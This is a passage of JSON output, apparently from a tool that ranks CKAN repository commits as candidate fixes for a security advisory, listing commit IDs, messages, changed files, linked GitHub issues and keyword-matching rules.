"ckan/model/modification.py", + "ckan/plugins/core.py", + "ckan/tests/plugins/test_core.py", + "ckan/tests/pytest_ckan/ckan_setup.py", + "ckan/tests/pytest_ckan/fixtures.py", + "setup.cfg" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8395": "simpler package indexing, no system plugins #8396" + }, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: system", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8395", + "relevance": 2 + } + ] + }, + { + "commit_id": "9dc0ef5512097450b678b7fcb7562481dc3c1363", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723557180, + "hunks": 0, + "message": "Merge pull request #8393 from ckan/backport-8392-to-dev-v2.11 [Backport dev-v2.11] Fix resource proxy download proxy setting", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8393": "Fix resource proxy download proxy setting #8392" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "ckan-2.11.0" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: source", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8393", + "relevance": 2 + } + ] + }, + { + "commit_id": "81b5cbeb14297476b8d1a8030edc6d2b166fadcd", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723555251, + "hunks": 0, + "message": "Merge pull request #8386 from avdata99/include_site_user_id Include the site_user id in `get_site_user` fn", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8386": "" + }, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: include", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8386", + "relevance": 2 + } + ] + }, + { + "commit_id": "99590a131541b84f00641ff3bdc9cbb3246dbead", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723555063, + "hunks": 0, + "message": "Merge pull request #8392 from ckan/fix-download-proxy Fix resource proxy download proxy setting", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8392": "[Backport dev-v2.11] Fix resource proxy download proxy setting #8393 [Backport dev-v2.10] Fix resource proxy download proxy setting #8394 Backport ckan/ckan PR#8354 to 2.9 derilinx/ckan-backports#2" + }, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: source", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8392", + "relevance": 2 + } + ] + }, + { + "commit_id": "c18b4db2ef4adc55696ab751503153394bc6280e", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724239278, + "hunks": 0, + "message": "[i18] Compile mo files", + "changed_files": [ + "ckan/i18n/am/LC_MESSAGES/ckan.mo", + "ckan/i18n/ar/LC_MESSAGES/ckan.mo", + "ckan/i18n/bg/LC_MESSAGES/ckan.mo", + "ckan/i18n/bs/LC_MESSAGES/ckan.mo", + "ckan/i18n/ca/LC_MESSAGES/ckan.mo", + "ckan/i18n/cs_CZ/LC_MESSAGES/ckan.mo", + "ckan/i18n/da_DK/LC_MESSAGES/ckan.mo", + "ckan/i18n/de/LC_MESSAGES/ckan.mo", + "ckan/i18n/el/LC_MESSAGES/ckan.mo", + "ckan/i18n/en_AU/LC_MESSAGES/ckan.mo", + "ckan/i18n/en_GB/LC_MESSAGES/ckan.mo", + "ckan/i18n/es/LC_MESSAGES/ckan.mo", + "ckan/i18n/es_AR/LC_MESSAGES/ckan.mo", + "ckan/i18n/eu/LC_MESSAGES/ckan.mo", + "ckan/i18n/fa_IR/LC_MESSAGES/ckan.mo", + "ckan/i18n/fi/LC_MESSAGES/ckan.mo", + "ckan/i18n/fr/LC_MESSAGES/ckan.mo", + "ckan/i18n/gl/LC_MESSAGES/ckan.mo", + "ckan/i18n/gl_ES/LC_MESSAGES/ckan.mo", + "ckan/i18n/he/LC_MESSAGES/ckan.mo", + "ckan/i18n/hr/LC_MESSAGES/ckan.mo", + "ckan/i18n/hu/LC_MESSAGES/ckan.mo", + "ckan/i18n/id/LC_MESSAGES/ckan.mo", + "ckan/i18n/is/LC_MESSAGES/ckan.mo", + "ckan/i18n/it/LC_MESSAGES/ckan.mo", + "ckan/i18n/ja/LC_MESSAGES/ckan.mo", + "ckan/i18n/km/LC_MESSAGES/ckan.mo", + "ckan/i18n/ko_KR/LC_MESSAGES/ckan.mo", + "ckan/i18n/lt/LC_MESSAGES/ckan.mo", + "ckan/i18n/lv/LC_MESSAGES/ckan.mo", + "ckan/i18n/mk/LC_MESSAGES/ckan.mo", + "ckan/i18n/mn_MN/LC_MESSAGES/ckan.mo", + "ckan/i18n/my_MM/LC_MESSAGES/ckan.mo", + "ckan/i18n/nb_NO/LC_MESSAGES/ckan.mo", + "ckan/i18n/ne/LC_MESSAGES/ckan.mo", + "ckan/i18n/nl/LC_MESSAGES/ckan.mo", + "ckan/i18n/no/LC_MESSAGES/ckan.mo", + "ckan/i18n/pl/LC_MESSAGES/ckan.mo", + "ckan/i18n/pt_BR/LC_MESSAGES/ckan.mo", + "ckan/i18n/pt_PT/LC_MESSAGES/ckan.mo", + "ckan/i18n/ro/LC_MESSAGES/ckan.mo", + "ckan/i18n/ru/LC_MESSAGES/ckan.mo", + "ckan/i18n/sk/LC_MESSAGES/ckan.mo", + "ckan/i18n/sl/LC_MESSAGES/ckan.mo", + "ckan/i18n/sq/LC_MESSAGES/ckan.mo", + "ckan/i18n/sr/LC_MESSAGES/ckan.mo", + "ckan/i18n/sr_Latn/LC_MESSAGES/ckan.mo", + "ckan/i18n/sv/LC_MESSAGES/ckan.mo", + "ckan/i18n/th/LC_MESSAGES/ckan.mo", + "ckan/i18n/tl/LC_MESSAGES/ckan.mo", + "ckan/i18n/tr/LC_MESSAGES/ckan.mo", + "ckan/i18n/uk/LC_MESSAGES/ckan.mo", + "ckan/i18n/uk_UA/LC_MESSAGES/ckan.mo", + "ckan/i18n/vi/LC_MESSAGES/ckan.mo", + "ckan/i18n/zh_Hans_CN/LC_MESSAGES/ckan.mo", + "ckan/i18n/zh_Hant_TW/LC_MESSAGES/ckan.mo" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: message", + "relevance": 4 + } + ] + }, + { + "commit_id": "55e1892772c859d2885d713ac3fce6afc7a7cb2f", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1722001441, + "hunks": 26, + "message": "[i18n] Update po files from Transifex", + "changed_files": [ + "ckan/i18n/ca/LC_MESSAGES/ckan.po" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: message", + "relevance": 4 + } + ] + }, + { + "commit_id": "ebc01f9fb91453679843f055fb035efd33148dda", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1716472971, + "hunks": 1, + "message": "[i18n] Update .tx/config file with 2.11 resource", + "changed_files": [ + ".tx/config" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: source", + "relevance": 4 + } + ] + }, + { + "commit_id": "3a9b5c17be56354ced12fac4798bad266baa74e4", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1716472524, + "hunks": 51, + "message": "[i18n] Pull latest translations from Transifex", + "changed_files": [ + "ckan/i18n/de/LC_MESSAGES/ckan.po", + "ckan/i18n/fr/LC_MESSAGES/ckan.po", + "ckan/i18n/he/LC_MESSAGES/ckan.po", + "ckan/i18n/zh_Hans_CN/LC_MESSAGES/ckan.po", + "ckan/i18n/zh_Hant_TW/LC_MESSAGES/ckan.po" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: message", + "relevance": 4 + } + ] + }, + { + "commit_id": "31d5cbd519e46b48bf0e9b469f21075449bae4bc", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1718301517, + "hunks": 1, + "message": "add missing head_extras block added missing head_extras block used in default templates ckan/templates/package/read_base.html and ckan/templates/package/resource_read.html (cherry picked from commit bf76742860c96579c79be64ab73412dff54349ac)", + "changed_files": [ + "ckan/templates/base.html" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "ckan-2.11.0" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: source", + "relevance": 4 + } + ] + }, + { + "commit_id": "98d9120434c4df42567dae49eb33efbbb676f534", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724065569, + "hunks": 0, + "message": "Merge branch 'snokamedia-patch-1'", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: patch", + "relevance": 4 + } + ] + }, + { + "commit_id": "7f33937777edd62d28627627fd8cac3d0f7e98ed", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724065079, + "hunks": 0, + "message": "Merge branch 'patch-1' of https://github.com/snokamedia/ckan into snokamedia-patch-1", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: patch", + "relevance": 4 + } + ] + }, + { + "commit_id": "5ef886d091ff8e182b7a46897327537a9cb206aa", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723732429, + "hunks": 1, + "message": "convert package extra value to string before storing @amercader does this resolve the issue you raised in gitter?", + "changed_files": [ + "ckan/logic/schema.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: issue", + "relevance": 4 + } + ] + }, + { + "commit_id": "6e0ab3fb4137cd7c51882d202cd8acaeb0f5221c", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1685379257, + "hunks": 4, + "message": "fix: server error instead of 405", + "changed_files": [ + "changes/7616.bugfix", + "ckan/config/middleware/flask_app.py", + "ckan/plugins/toolkit.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "ckan-2.10.5" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: server, error", + "relevance": 4 + } + ] + }, + { + "commit_id": "502aaa6601af0105ebcf12430748d31e1595db4b", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723629845, + "hunks": 0, + "message": "Merge branch 'fix-setuptools-error' into backport-8392-to-dev-v2.10", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "ckan-2.10.5" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: error", + "relevance": 4 + } + ] + }, + { + "commit_id": "b6d88dba0483eac68d43c6adcb2521f6d6f1bacb", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723557854, + "hunks": 3, + "message": "Bump packaging to avoid setuptools error To avoid this issue in setuptools>=71: https://github.com/pypa/setuptools/issues/4483 Also need to list pyparsing explicitly as requirement as it is no longer a packaging requirement", + "changed_files": [ + "requirements.in" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "ckan-2.10.5" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: issue, error", + "relevance": 4 + } + ] + }, + { + "commit_id": "c1f611593f6d7cd5eb5ccc9389c6df1b235c454d", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724226818, + "hunks": 1, + "message": "Update changelog", + "changed_files": [ + "changes/8397.misc" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "c75c6bb27d29b2cecde7d43585a90caab469de9e" + ] + ], + "tags": [ + "ckan-2.11.0" + ], + "matched_rules": [ + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + } + ] + }, + { + "commit_id": "ccb485d6eb799a48ab891a9047801aab3b34e0ed", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724225806, + "hunks": 0, + "message": "Merge pull request #8406 from ckan/backport-8404-to-dev-v2.10 [Backport dev-v2.10] Update docs with notices regarding DataPusher and ckanext-scheming", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8406": "Update docs with notices regarding DataPusher and ckanext-scheming #8404" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "ckan-2.10.5" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8406", + "relevance": 2 + } + ] + }, + { + "commit_id": "a3ab6ecfd73bb83bffb7c12b0f2d478309dfcf66", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724174716, + "hunks": 0, + "message": "Merge pull request #8405 from ckan/backport-8404-to-dev-v2.11 [Backport dev-v2.11] Update docs with notices regarding DataPusher and ckanext-scheming", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8405": "Update docs with notices regarding DataPusher and ckanext-scheming #8404" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "ckan-2.11.0" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8405", + "relevance": 2 + } + ] + }, + { + "commit_id": "25cbcb9d69b2128a40f28c37bfd44a053e43a715", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724173402, + "hunks": 0, + "message": "Merge pull request #8404 from ckan/doc-notices Update docs with notices regarding DataPusher and ckanext-scheming", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8404": "[Backport dev-v2.11] Update docs with notices regarding DataPusher and ckanext-scheming #8405 [Backport dev-v2.10] Update docs with notices regarding DataPusher and ckanext-scheming #8406" + }, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8404", + "relevance": 2 + } + ] + }, + { + "commit_id": "cb8424d9e778ab91d081a19ec41b9010ab7fac98", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724173292, + "hunks": 0, + "message": "Merge pull request #8401 from ckan/extras-string compatibility fix for jsonb extras feature", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8401": "" + }, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8401", + "relevance": 2 + } + ] + }, + { + "commit_id": "71ed8c07f320ad9fc3c6b2202edff415652707f4", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724125566, + "hunks": 2, + "message": "[#8395] remove owner_org with ''", + "changed_files": [ + "ckanext/activity/tests/test_changes.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8395": "simpler package indexing, no system plugins #8396" + }, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8395", + "relevance": 2 + } + ] + }, + { + "commit_id": "ff654d8523fc1e569d3abea33a5604634842268a", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724066570, + "hunks": 0, + "message": "Merge pull request #8403 from ckan/backport-8264-to-dev-v2.11 [Backport dev-v2.11] add missing head_extras block", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8403": "add missing head_extras block #8264" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "ckan-2.11.0" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8403", + "relevance": 2 + } + ] + }, + { + "commit_id": "9e89ce8220ab1445e0bd85a67994a51d9d3d2688", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724064761, + "hunks": 3, + "message": "Escape data in datatables view", + "changed_files": [ + "ckanext/datatablesview/blueprint.py", + "ckanext/datatablesview/tests/test_ajax.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "d7dfe8c427b1c63c75d788a609f3b7d7620a25a1" + ] + ], + "tags": [ + "ckan-2.11.0" + ], + "matched_rules": [ + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + } + ] + }, + { + "commit_id": "e39016302b5bc11b3c26c1d2b87e19c557261caa", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723805729, + "hunks": 0, + "message": "Merge pull request #8402 from ckan/backport-8397-to-dev-v2.11 [Backport dev-v2.11] New `ckan config docs` command, Markdown serialiazer", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8402": "New ckan config docs command, Markdown serialiazer #8397" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "ckan-2.11.0" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8402", + "relevance": 2 + } + ] + }, + { + "commit_id": "9f9604d85bab78b8d3582b930e5c19d5e4d35a8f", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723717746, + "hunks": 2, + "message": "Add new `ckan config docs` command That generates the human-readable documentation that can be inserted in the docs or a README. Accepts a -f / --format flag to output rst (default) or markdown. (cherry picked from commit 7e36626376b087dc07f92f01ed166037e4abd18b)", + "changed_files": [ + "ckan/cli/config.py", + "ckan/tests/cli/test_config.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "7e36626376b087dc07f92f01ed166037e4abd18b" + ] + ], + "tags": [ + "ckan-2.11.0" + ], + "matched_rules": [ + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + } + ] + }, + { + "commit_id": "480f731894e518a0fb43aa9b873109b2a00aa2c6", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723716681, + "hunks": 3, + "message": "Add Markdown serializer for config declaration This will be useful for extensions to generate their config documentation, as they generally use Markdown READMEs (cherry picked from commit 73731e6b926d24ce8b9c388340334021ebb22879)", + "changed_files": [ + "ckan/config/declaration/__init__.py", + "ckan/config/declaration/serialize.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "73731e6b926d24ce8b9c388340334021ebb22879" + ] + ], + "tags": [ + "ckan-2.11.0" + ], + "matched_rules": [ + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + } + ] + }, + { + "commit_id": "12f6cc8656b4be6d79e11cfd7cdf7c4f52ef9796", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723757053, + "hunks": 4, + "message": "[#8395] index test fixes", + "changed_files": [ + "ckan/tests/lib/search/test_index.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8395": "simpler package indexing, no system plugins #8396" + }, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8395", + "relevance": 2 + } + ] + }, + { + "commit_id": "cb4859390e0390c73007ebdd0e40658f354c71ed", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723749197, + "hunks": 30, + "message": "[#8395] package_show use_default_schema=both", + "changed_files": [ + "ckan/lib/search/index.py", + "ckan/logic/__init__.py", + "ckan/logic/action/create.py", + "ckan/logic/action/delete.py", + "ckan/logic/action/get.py", + "ckan/logic/action/update.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8395": "simpler package indexing, no system plugins #8396" + }, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8395", + "relevance": 2 + } + ] + }, + { + "commit_id": "3179b4fe19d67ff58418acf112d92370f73c4a68", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723745671, + "hunks": 0, + "message": "Merge pull request #8341 from JVickery-TBS/feature/dt-qol Datatables form UI Improvements", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8341": "" + }, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8341", + "relevance": 2 + } + ] + }, + { + "commit_id": "0f76f0315fa0a8cfda013d9ecce03e6531ddd5b7", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723734130, + "hunks": 0, + "message": "Merge pull request #8397 from ckan/config-declaration-md New `ckan config docs` command, Markdown serialiazer", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8397": "[Backport dev-v2.11] New ckan config docs command, Markdown serialiazer #8402" + }, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8397", + "relevance": 2 + } + ] + }, + { + "commit_id": "b66400c984db7ae6adb6e206e446bd80f6cb09be", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723727224, + "hunks": 0, + "message": "Merge pull request #8398 from ckan/line-lenght More lenient line length setting for linting", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8398": "" + }, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8398", + "relevance": 2 + } + ] + }, + { + "commit_id": "df8a0296d8d159c2446a79f68daea0d7524a5c00", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723667075, + "hunks": 11, + "message": "[#8395] reindex on delete/purge group/org", + "changed_files": [ + "ckan/logic/action/delete.py", + "ckan/tests/logic/action/test_get.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8395": "simpler package indexing, no system plugins #8396" + }, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8395", + "relevance": 2 + } + ] + }, + { + "commit_id": "2a3e90f21f414ce6fe7b0de1ff34961b8681d5be", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723659245, + "hunks": 1, + "message": "[#8395] index modifies parameter, make copy", + "changed_files": [ + "ckan/lib/search/index.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8395": "simpler package indexing, no system plugins #8396" + }, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8395", + "relevance": 2 + } + ] + }, + { + "commit_id": "1fe3b3f220f9979c0b9fb901683d88d510ac2693", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723468766, + "hunks": 1, + "message": "Do not use default: none in config declaration (cherry picked from commit 5af050101ec0b0138184684192a100c99842b332)", + "changed_files": [ + "ckan/config/config_declaration.yaml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "dfc5887f3d94bd9af1d30b74880e58d00db080a3" + ], + [ + "no-tag", + "5af050101ec0b0138184684192a100c99842b332" + ] + ], + "tags": [ + "ckan-2.10.5" + ], + "matched_rules": [ + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + } + ] + }, + { + "commit_id": "bebe9ee9e899a84c92eb2cbad0e26ca285345950", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1723545075, + "hunks": 0, + "message": "Merge pull request #7934 from TomeCirun/7723-fix-users-email-not-unique [7723]Fix user's email is not unique", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "7934": "fix_for_7723 #8016" + }, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 7934", + "relevance": 2 + } + ] + }, + { + "commit_id": "c1de2498f49562dd85d079fe717610ba714437d6", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724674862, + "hunks": 1, + "message": "chore: rename changelog fragment", + "changed_files": [ + "changes/8410.feature" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "e5e9952ebd9ffef0a3ce2b58b262d7892ba51e62", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724669098, + "hunks": 1, + "message": "chore: use table name to check table existence", + "changed_files": [ + "ckan/model/__init__.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "63bb88a28bda749769c81f92d6f40080bce8219b", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724666925, + "hunks": 5, + "message": "chore: add changelog entry", + "changed_files": [ + "changes/8410.feat", + "ckanext/activity/logic/auth.py", + "ckanext/activity/model/activity.py", + "ckanext/datastore/backend/postgres.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "7b4719730d946ed1a3704c0537873997e4c450b4", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724666458, + "hunks": 2, + "message": "chore: disable SQLAlchemy v2 migration warnings", + "changed_files": [ + "pyproject.toml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "a2e52799a4f456c09b9089a96e0b7ba8ee7ea487", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724246928, + "hunks": 1, + "message": "Add initial workflow to push to testpypi", + "changed_files": [ + ".github/workflows/publish-pypi.yml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "5708b61996f4040e38df0d4e4693e6a564fd5a74", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724239840, + "hunks": 1, + "message": "Update version for 2.10.6b0", + "changed_files": [ + "ckan/__init__.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "2d44fb183b3c2ad112270b381812e42e9bc1001a", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724239809, + "hunks": 1, + "message": "Update version for 2.11.0b0", + "changed_files": [ + "ckan/__init__.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "a829110608eab7ed354074d4ecd9b84b2bad484c", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724237385, + "hunks": 0, + "message": "Merge branch 'dev-v2.10' into 2.10", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [] + }, + { + "commit_id": "710dfff718859ff284f0e9feee70c1ecfc86677a", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724231308, + "hunks": 1, + "message": "Update version for 2.11.0", + "changed_files": [ + "ckan/__init__.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "ckan-2.11.0" + ], + "matched_rules": [] + }, + { + "commit_id": "66abe426634625b9cad7a67728e481f554436412", + "repository": "https://github.com/ckan/ckan", + "timestamp": 1724231248, + "hunks": 1, + "message": "Update version for 2.10.5", + "changed_files": [ + "ckan/__init__.py" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "ckan-2.10.5" + ], + "matched_rules": [] + }, + { + "commit_id": "193bfc54e53300c75a0166eae0d413002fdae9d4", + 